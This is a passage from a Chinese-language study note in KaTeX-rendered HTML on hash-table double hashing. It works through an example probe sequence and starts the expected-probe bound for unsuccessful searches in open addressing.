class="mord"><span class="mord"><span class="mord mathrm">mod</span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">m</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.2741em;"><span></span></span></span></span></span></span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.2741em;"><span></span></span></span></span></span></span></span><span class="tag"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.7741em;"><span style="top:-3.7741em;"><span class="pstrut" style="height:3.7741em;"></span><span class="eqn-num"></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.2741em;"><span></span></span></span></span></span></span></span></span></p><h4 id="double-hashing"><a class="markdownIt-Anchor" href="#double-hashing"></a> Double Hashing</h4><p>双重哈希采用</p><p class="katex-block"><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><mi>h</mi><mo stretchy="false">(</mo><mi>k</mi><mo separator="true">,</mo><mi>i</mi><mo stretchy="false">)</mo><mo>=</mo><mo stretchy="false">(</mo><msub><mi>h</mi><mn>1</mn></msub><mo stretchy="false">(</mo><mi>k</mi><mo stretchy="false">)</mo><mo>+</mo><mi>i</mi><msub><mi>h</mi><mn>2</mn></msub><mo stretchy="false">(</mo><mi>k</mi><mo stretchy="false">)</mo><mo stretchy="false">)</mo><mspace></mspace><mspace width="1em"/><mrow><mi mathvariant="normal">m</mi><mi mathvariant="normal">o</mi><mi mathvariant="normal">d</mi></mrow><mtext> </mtext><mtext> </mtext><mi>m</mi></mrow><annotation encoding="application/x-tex">h(k,i) = (h_1(k) + i h_2(k)) \mod m</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">h</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">i</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal">h</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">i</span><span class="mord"><span class="mord mathnormal">h</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span><span class="mclose">))</span><span class="mspace allowbreak"></span><span class="mspace" style="margin-right:1em;"></span></span><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord"><span class="mord"><span class="mord mathrm">mod</span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">m</span></span></span></span></span></p><p>与前两者不同，偏移量也根据 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>k</mi></mrow><annotation encoding="application/x-tex">k</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span></span></span></span> 变化，但 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>h</mi><mn>2</mn></msub><mo stretchy="false">(</mo><mi>k</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">h_2(k)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord mathnormal">h</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span><span class="mclose">)</span></span></span></span> 必须和 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>m</mi></mrow><annotation encoding="application/x-tex">m</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">m</span></span></span></span> 互素，否则偏移量为 0 没法向前探测。</p><p>可以将 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>m</mi></mrow><annotation encoding="application/x-tex">m</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">m</span></span></span></span> 设为 2 的幂，并使得 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>h</mi><mn>2</mn></msub><mo stretchy="false">(</mo><mi>k</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">h_2(k)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord mathnormal">h</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span><span class="mclose">)</span></span></span></span> 总是奇数；</p><p>或者 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>m</mi></mrow><annotation encoding="application/x-tex">m</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">m</span></span></span></span> 是素数，<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mi>m</mi><mo mathvariant="normal" lspace="0em" rspace="0em">′</mo></msup></mrow><annotation encoding="application/x-tex">m&#x27;</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7519em;"></span><span class="mord"><span class="mord mathnormal">m</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.7519em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">′</span></span></span></span></span></span></span></span></span></span></span></span> 略小于 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>m</mi></mrow><annotation encoding="application/x-tex">m</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">m</span></span></span></span>，比如 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mi>m</mi><mo mathvariant="normal" lspace="0em" rspace="0em">′</mo></msup><mo>=</mo><mi>m</mi><mo>−</mo><mn>1</mn></mrow><annotation encoding="application/x-tex">m&#x27; = m - 1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7519em;"></span><span class="mord"><span class="mord mathnormal">m</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.7519em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">′</span></span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6667em;vertical-align:-0.0833em;"></span><span class="mord mathnormal">m</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span></span></span></span>，取</p><p class="katex-block"><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><msub><mi>h</mi><mn>1</mn></msub><mo stretchy="false">(</mo><mi>k</mi><mo stretchy="false">)</mo><mo>=</mo><mi>k</mi><mspace></mspace><mspace width="1em"/><mrow><mi mathvariant="normal">m</mi><mi mathvariant="normal">o</mi><mi mathvariant="normal">d</mi></mrow><mtext> </mtext><mtext> </mtext><mi>m</mi></mrow><annotation encoding="application/x-tex">h_1(k) = k \mod m </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord mathnormal">h</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span><span class="mspace allowbreak"></span><span class="mspace" style="margin-right:1em;"></span></span><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord"><span class="mord"><span class="mord mathrm">mod</span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">m</span></span></span></span></span></p><p class="katex-block"><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><msub><mi>h</mi><mn>2</mn></msub><mo stretchy="false">(</mo><mi>k</mi><mo stretchy="false">)</mo><mo>=</mo><mn>1</mn><mo>+</mo><mo stretchy="false">(</mo><mi>k</mi><mspace></mspace><mspace width="1em"/><mrow><mi mathvariant="normal">m</mi><mi mathvariant="normal">o</mi><mi mathvariant="normal">d</mi></mrow><mtext> </mtext><mtext> </mtext><mo stretchy="false">(</mo><mi>m</mi><mo>−</mo><mn>1</mn><mo stretchy="false">)</mo><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">h_2(k) = 1 + (k \mod (m - 1)) </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord mathnormal">h</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.7278em;vertical-align:-0.0833em;"></span><span class="mord">1</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span><span class="mspace allowbreak"></span><span class="mspace" style="margin-right:1em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord"><span class="mord mathrm">mod</span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mopen">(</span><span class="mord mathnormal">m</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">1</span><span class="mclose">))</span></span></span></span></span></p><p>双重哈希的探测序列数量为 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi mathvariant="normal">Θ</mi><mo stretchy="false">(</mo><msup><mi>m</mi><mn>2</mn></msup><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">\Theta(m^2)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.0641em;vertical-align:-0.25em;"></span><span class="mord">Θ</span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal">m</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span></span></span></span></span><span class="mclose">)</span></span></span></span>，因为 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>h</mi><mn>1</mn></msub><mo stretchy="false">(</mo><mi>k</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">h_1(k)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord mathnormal">h</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span><span class="mclose">)</span></span></span></span> 有 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>m</mi></mrow><annotation encoding="application/x-tex">m</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">m</span></span></span></span> 种可能，<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>h</mi><mn>2</mn></msub><mo stretchy="false">(</mo><mi>k</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">h_2(k)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord mathnormal">h</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span><span class="mclose">)</span></span></span></span> 有 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>m</mi><mo>−</mo><mn>1</mn></mrow><annotation encoding="application/x-tex">m-1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6667em;vertical-align:-0.0833em;"></span><span class="mord mathnormal">m</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span></span></span></span> 种可能，每对 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo stretchy="false">(</mo><msub><mi>h</mi><mn>1</mn></msub><mo stretchy="false">(</mo><mi>k</mi><mo stretchy="false">)</mo><mo separator="true">,</mo><msub><mi>h</mi><mn>2</mn></msub><mo stretchy="false">(</mo><mi>k</mi><mo stretchy="false">)</mo><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">(h_1(k), h_2(k))</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal">h</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span><span class="mclose">)</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal">h</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span><span class="mclose">))</span></span></span></span> 产生一个探测序列。</p><p>例如取 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>k</mi><mo>=</mo><mn>123456</mn><mo separator="true">,</mo><mi>m</mi><mo>=</mo><mn>701</mn><mo separator="true">,</mo><msup><mi>m</mi><mo mathvariant="normal" lspace="0em" rspace="0em">′</mo></msup><mo>=</mo><mn>700</mn></mrow><annotation encoding="application/x-tex">k = 123456, m = 701, m&#x27; = 700</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8389em;vertical-align:-0.1944em;"></span><span class="mord">123456</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">m</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.9463em;vertical-align:-0.1944em;"></span><span class="mord">701</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal">m</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.7519em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">′</span></span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">700</span></span></span></span>，则有 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>h</mi><mn>1</mn></msub><mo stretchy="false">(</mo><mi>k</mi><mo stretchy="false">)</mo><mo>=</mo><mn>80</mn></mrow><annotation encoding="application/x-tex">h_1(k) = 80</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord mathnormal">h</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">80</span></span></span></span>，<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>h</mi><mn>2</mn></msub><mo stretchy="false">(</mo><mi>k</mi><mo stretchy="false">)</mo><mo>=</mo><mo>=</mo><mn>257</mn></mrow><annotation encoding="application/x-tex">h_2(k) == 257</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord mathnormal">h</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">==</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">257</span></span></span></span>，第一个探测位置是 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>h</mi><mo stretchy="false">(</mo><mi>k</mi><mo separator="true">,</mo><mn>0</mn><mo stretchy="false">)</mo><mo>=</mo><mn>80</mn></mrow><annotation encoding="application/x-tex">h(k, 0) = 80</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">h</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">0</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">80</span></span></span></span>，每次探测推进 257 个槽位。</p><hr /><p>同样分析开放寻址法的探查期望时间复杂度：</p><p>定理：给定 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>α</mi><mo>=</mo><mi>n</mi><mi mathvariant="normal">/</mi><mi>m</mi></mrow><annotation encoding="application/x-tex">\alpha = n / m</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal" style="margin-right:0.0037em;">α</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">n</span><span class="mord">/</span><span class="mord mathnormal">m</span></span></span></span>，假设是均匀散列的，则一次不成功的查找，期望的探查次数至多为 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>1</mn><mi mathvariant="normal">/</mi><mo stretchy="false">(</mo><mn>1</mn><mo>−</mo><mi>a</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">1/ (1-a)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">1/</span><span class="mopen">(</span><span class="mord">1</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">a</span><span class="mclose">)</span></span></span></span></p><p>设 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>X</mi></mrow><annotation encoding="application/x-tex">X</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.07847em;">X</span></span></span></span> 为一次不成功查找的探查次数，再定义事件 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>A</mi><mi>i</mi></msub></mrow><annotation encoding="application/x-tex">A_i</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">A</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span> 表示第 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>i</mi></mrow><annotation encoding="application/x-tex">i</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6595em;"></span><span class="mord mathnormal">i</span></span></span></span> 个探查到已占有。</p><p>那么 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo stretchy="false">{</mo><mi>X</mi><mtext> </mtext><mo>&gt;</mo><mi>i</mi><mo stretchy="false">}</mo><mo>=</mo><msub><mi>A</mi><mn>1</mn></msub><mo>∩</mo><msub><mi>A</mi><mn>2</mn></msub><mo>∩</mo><mo>⋯</mo><mo>∩</mo><msub><mi>A</mi><mi>i</mi></msub></mrow><annotation encoding="application/x-tex">\{ X\ \gt i\} = A_1 \cap  A_2 \cap  \cdots \cap  A_i</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">{</span><span class="mord mathnormal" style="margin-right:0.07847em;">X</span><span class="mspace"> </span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">&gt;</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">i</span><span class="mclose">}</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">A</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">∩</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">A</span><span class="msupsub"><span class="vlist-t vlist-t2"><span 